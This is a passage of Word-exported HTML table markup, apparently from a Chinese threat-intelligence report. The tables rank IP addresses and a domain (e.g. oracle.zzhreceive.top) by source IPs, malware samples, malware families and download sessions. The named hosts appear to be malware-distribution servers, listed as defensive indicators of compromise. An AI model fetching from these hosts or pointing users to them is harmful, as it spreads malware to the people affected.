accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span class=\"GramE\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman"\">腾讯云</span></span></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">582</span></p>\n </td>\n <td width=\"123\" nowrap=\"\" style=\"width:92.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">12</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:8;height:9.6pt\">\n <td width=\"128\" nowrap=\"\" style=\"width:95.75pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">110.42.187.81</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"193\" nowrap=\"\" style=\"width:145.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span class=\"GramE\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman"\">腾讯云</span></span></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">434</span></p>\n </td>\n <td width=\"123\" nowrap=\"\" style=\"width:92.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">12</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt\">\n <td width=\"128\" nowrap=\"\" style=\"width:95.75pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">106.52.240.156</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"193\" nowrap=\"\" style=\"width:145.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span class=\"GramE\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman"\">腾讯云</span></span></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">392</span></p>\n </td>\n <td width=\"123\" nowrap=\"\" style=\"width:92.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">12</span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["html",{"html":"<div align=\"center\">\n\n<table class=\"MsoTable15Grid4Accent3\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" width=\"0\" style=\"width:414.8pt;border-collapse:collapse;border:none;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt\">\n <tbody><tr style=\"mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;\n height:9.6pt\">\n <td width=\"159\" nowrap=\"\" valign=\"top\" style=\"width:119.25pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;\n mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:5\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">域名</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">/IP</span></b><b><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">地址</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:\n bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"85\" nowrap=\"\" valign=\"top\" style=\"width:63.75pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">源</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">IP</span></b><b><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">数</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:\n bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"96\" nowrap=\"\" valign=\"top\" style=\"width:71.9pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">恶意软件数</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"top\" style=\"width:3.0cm;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">恶意软件家族</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"100\" valign=\"top\" style=\"width:74.85pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;\n mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">下载会话数</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\"><o:p></o:p></span></b></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:0;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><span class=\"SpellE\"><b><span lang=\"EN-US\">oracle.zzhreceive.top</span></b></span><b><span lang=\"EN-US\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">2,226</span></p>\n </td>\n <td width=\"96\" nowrap=\"\" style=\"width:71.9pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">291</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">9</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">494,527</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:1;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">112.253.11.38</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">2,014</span></p>\n </td>\n <td width=\"96\" nowrap=\"\" style=\"width:71.9pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">4</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">1</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">48,530</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">194.87.139.103</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">883</span></p>\n </td>\n <td width=\"96\" nowrap=\"\" style=\"width:71.9pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">8</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">3</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">48,196</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:3;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n 